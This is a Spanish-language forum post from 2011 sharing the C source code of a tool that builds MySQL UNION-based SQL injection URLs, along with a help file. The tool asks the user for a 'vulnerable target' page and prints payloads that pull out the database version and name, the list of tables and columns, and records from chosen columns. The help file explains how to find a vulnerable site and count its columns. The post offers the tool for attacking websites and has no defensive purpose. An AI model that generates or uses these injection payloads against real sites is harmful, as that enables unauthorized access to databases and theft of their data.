elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  [ANSI C]Codigo fuente del generador de mysql inyection.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [ANSI C]Codigo fuente del generador de mysql inyection.  (Leído 3,830 veces)
volteo0101

Desconectado Desconectado

Mensajes: 27


Ver Perfil
[ANSI C]Codigo fuente del generador de mysql inyection.
« en: 28 Febrero 2011, 15:12 pm »

Version 0.1(Compilado para windows) :

Opciones disponibles hasta el momento:

  • Sacar base de datos actual de la pagina.
  • Sacar version del mysql.
  • Sacar todas las tablas de la base de datos.
  • Sacar todas las columnas de una tabla.
  • Sacar 2 registros por ejecucion de una columna de la tb.
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define N_ELEMENTOS 999

//PHAMTOM
//Gretz : Fer995,BlackCoder & 3mp3z@ndo
void finalmenu()
{
     printf("\n\n");
printf("1-Volver al menu\n");
     printf("\n2-Salir\n ==> ");
    
 }



void tablax()
{
     system("cls");
     printf("Nombre de tabla a sacar columnas ==>");
    
 }
void ncolumnas()
{
     system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
 }
void columnas()
{
system("cls");
printf("Si no entendiste este paso , visita la parte de ayuda del programa");
printf("\nNumeros de columnas de la pagina => ");
}

void menu()
{
printf("Menu Utilise el numero de opcion y la tecla enter para seleccionar -->(MySql)\n\n");
printf("\n1-Sacar version del mysql");
printf("\n2-Sacar base de datos que corre la pagina");
printf("\n3-Sacar todas las tablas de la base de datos");
printf("\n4-Sacar todas las columnas de una tabla");
printf("\n5-Sacar registros de la columna de una base de datos\n");
printf("\n\nOpciones\n\n");
printf("\n6-Ayuda");
printf("\n7-Salir");
printf("\n\n\nElige => ");
}
void error()
{
system("cls");
printf("\nError..El programa se ha cerrado.");
printf("\nEsto puede pasar por usar un numero de opciones inexistente o sobrepasar el nivel del buffer del array para mas informacion visite ayuda");
system("pause>Nul");
exit(-1);
}
int main()
{
    system("cls");
int o=0,n=0,c=0,z=0,k=0,ii=0;
char tablaxx[N_ELEMENTOS];

char columna2[N_ELEMENTOS];
char target[N_ELEMENTOS];
char tebla[N_ELEMENTOS];
char columna1[N_ELEMENTOS];
char columnaa[N_ELEMENTOS];
printf("Ejemplo : www.target.com/noticias.php?id=\n\n");
printf("Target vulnerable => ");
scanf("%s",target);
n=strlen(target);
if(n>999)
{
error();
}
if(n<=999)
{
system("cls");


system("title Generador de inyecciones MySql escrito por PHAMTOM.");
menu();
scanf("%d",&o);
if(o==1)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use: \n\n\n\t  %s-1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("version(),");
                }
              
                        
                                    else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
if(o==2)
{
    
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use : \n %s -1+union+select+all + ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("database(),");}
                
                                    else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
        if(o==3)
        {
                system("cls");
        printf("Sacar todas las tablas de la base de datos de la pagina\n\n");
printf("\n");
        
                {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use :\n %s -1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("group_concat(table_name),");
                }
                
                                    else{
                                        
printf("%d,",j);

}
}
printf("\b");
printf("+from+information_schema.tables+where+table_schema=database() --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
                    }}
                    if(o==4)
                    {
                            system("cls");
                            printf("\n\nSacar columnas de una tabla\n\n");
                                        
      
        
                {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
tablax();
scanf("%s",tablaxx);
system("cls");
printf("\n\n\n\n\n use: \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("group_concat(column_name),");}
                
                                    else{
printf("%d,",j);
}
}
printf("\b");
printf("+from+information_schema.columns+where+table_name=char(");
int v=strlen(tablaxx);
for(int a=0;a<=v;a++)
{
        printf("%d,",tablaxx[a]);
        }
        printf("\b\b\b) --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
                    }
                            
                            
                            if(o==5)
                            {
                                    system("cls");
                                    printf("Sacar registros de una columna de una DB.\n");
                                    columnas();
                                    scanf("%d",&c);
                                    ncolumnas();
                                    scanf("%d",&z);
                                    system("cls");
                                    printf("Escriba el nombre de la tabla a sacar datos : ");
                                    scanf("%s",tebla);
                                    system("cls");
                                    printf("Escriba la columna 1 : ");
                                    scanf("%s",columna1);
                                    system("cls");
                                    printf("Escriba la columna 2 : ");
                                    scanf("%s",columnaa);
                                    printf("\n\n\n\n\n Use : \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("concat(%s,0x3a,%s),",columna1,columnaa);}
                
                                    else{
printf("%d,",j);
}
}
printf("\b \b+from+%s --",tebla);
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
              if(ii==1)
              {
                       main();
                      
                       }            
                       else if(ii>2)
                       {
                            error();
                        }        
                        if(ii==2)
                        {
                                 system("cls");
                                 system("msg * gracias por usar el programa");
                                exit(-1);
                                 }
                                
                              
}
if(o==6)
{
        system("start ayuda.txt");
        }
        if(o==7)
        {
                exit(-1);
                }
                if(o>7)
                {
                       error();
                       }
        
}

Ayuda.txt

Código:
Este pad , no tiene como fin explicar el porque , ni como
realizar una inyeccion mysql , solo es para aclarar
los datos que pide el programa.

Cuando te pide numeros de columnas :

Esta es la unica parte que tenes que hacer manualmente
el generador luego te ayuda para imprimir datos, columnas,tablas.-
Busca un target vulnerable, o alguna pagina
que sea vulnerable a mysql inyection.
-1+union+select+0,1,2,3,4,5,6 -- sacas el numero de columnas
el 6 en este caso , es el numero ,por lo tanto cuando
te pide numero de columnas respondemos con 6.

Cuando el programa pide numero de columna que imprime
nos fijamos cual de las comunas, en mi caso , 1,2,3,4,5,6 imprime en pantalla.
para que el programa pueda generar la sql query correcta.


Lo demas para sacar datos de las columnas , sacar tablas
Nos podemos hiar dependiendo de como responde la pagina.

Gracias por descargar el programa , cualquier duda puedes mandarme un pm.
por los foros donde veas el usuario PHAMTOM o volteo0101.


Un saludo :) gracias a los usuarios que respondieron mi post de dudas sobre cadenas de caracteres.


« Última modificación: 28 Febrero 2011, 17:45 pm por volteo0101 » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con el generador para PHP Generator for MySQL de SQL Maestro Group
Ingeniería Inversa
ocastillo 4 7,389 Último mensaje 14 Mayo 2010, 22:36 pm
por ocastillo
[Tool]Mysql inyection generator.
Nivel Web
volteo0101 2 3,033 Último mensaje 1 Marzo 2011, 00:00 am
por volteo0101
duda con sql inyection[MYSQL]
Nivel Web
afdlkglfgfdgfhgf 3 3,097 Último mensaje 21 Enero 2012, 11:18 am
por h3ct0r
Generador codigo QR
Software
vipamon 3 2,034 Último mensaje 3 Marzo 2013, 17:34 pm
por vipamon
[Aporte]Codigo Fuente De Generador de Sodukos en javascript
Desarrollo Web
Flamer 2 3,452 Último mensaje 28 Febrero 2015, 23:44 pm
por Flamer
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines